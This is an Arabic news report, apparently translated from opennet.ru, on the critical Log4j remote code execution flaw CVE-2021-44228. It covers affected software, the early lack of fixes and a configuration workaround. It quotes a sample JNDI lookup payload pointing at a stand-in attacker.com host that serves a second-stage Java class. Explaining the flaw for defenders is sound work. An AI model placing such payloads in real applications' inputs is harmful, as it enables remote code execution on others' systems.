في Apache Log4j، وهو إطار عمل شائع لتنظيم تسجيل الدخول في تطبيقات Java، تم التعرف على ثغرة أمنية حرجة تسمح بتنفيذ تعليمات برمجية عشوائية عند كتابة قيمة منسقة خصيصًا بتنسيق "{jndi:URL}" في السجل. يمكن تنفيذ الهجوم على تطبيقات Java التي تسجل القيم الواردة من مصادر خارجية، على سبيل المثال، عند عرض القيم الإشكالية في رسائل الخطأ.
تجدر الإشارة إلى أن جميع المشاريع تقريبًا التي تستخدم أطر عمل مثل Apache Struts أو Apache Solr أو Apache Druid أو Apache Flink تتأثر بالمشكلة، بما في ذلك عملاء وخوادم Steam وApple iCloud وMinecraft. ومن المتوقع أن تؤدي الثغرة الأمنية إلى موجة من الهجمات الضخمة على تطبيقات الشركات، مما يكرر تاريخ الثغرات الحرجة في إطار عمل Apache Struts، والذي يستخدم، وفقًا لتقدير تقريبي، في تطبيقات الويب بنسبة 65% من شركة Fortune 100 شركة بما في ذلك محاولات فحص الشبكة بحثًا عن الأنظمة الضعيفة.
تتفاقم المشكلة بسبب حقيقة أنه قد تم بالفعل نشر برمجية إكسبلويت فعالة، ولكن لم يتم بعد تجميع الإصلاحات للفروع المستقرة. لم يتم تعيين معرف CVE بعد. تم تضمين الإصلاح فقط في فرع الاختبار log4j-2.15.0-rc1. كحل بديل لحظر الثغرة الأمنية، يوصى بتعيين المعلمة log4j2.formatMsgNoLookups على true.
نتجت المشكلة عن دعم مكتبة log4j لأنماط "{}" الخاصة في سلاسل إخراج السجلات، والتي يمكن استخدامها لتنفيذ استعلامات JNDI (واجهة تسمية ودليل جافا). وتتلخص الثغرة في تمرير سلسلة نصية مع استبدال "${jndi:ldap://attacker.com/a}"، والذي عند معالجته، يتسبب في إرسال log4j طلب LDAP لمسار فئة جافا إلى خادم attacker.com. الخادم سيتم تحميل مسار المهاجم (على سبيل المثال http://second-stage.attacker.com/Exploit.class) وتنفيذه في سياق العملية الحالية، مما يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية على النظام بصلاحيات التطبيق الحالي.
الملحق 1: تم تعيين المعرف CVE-2021-44228 للثغرة الأمنية.
الإضافة 2: تم التعرف على طريقة لتجاوز الحماية المضافة بواسطة الإصدار log4j-2.15.0-rc1. تم اقتراح تحديث جديد، log4j-2.15.0-rc2، مع حماية أكثر اكتمالاً ضد الثغرة الأمنية. يسلط الرمز الضوء على التغيير المرتبط بعدم وجود إنهاء غير طبيعي في حالة استخدام عنوان URL لـ JNDI بتنسيق غير صحيح.
المصدر: opennet.ru
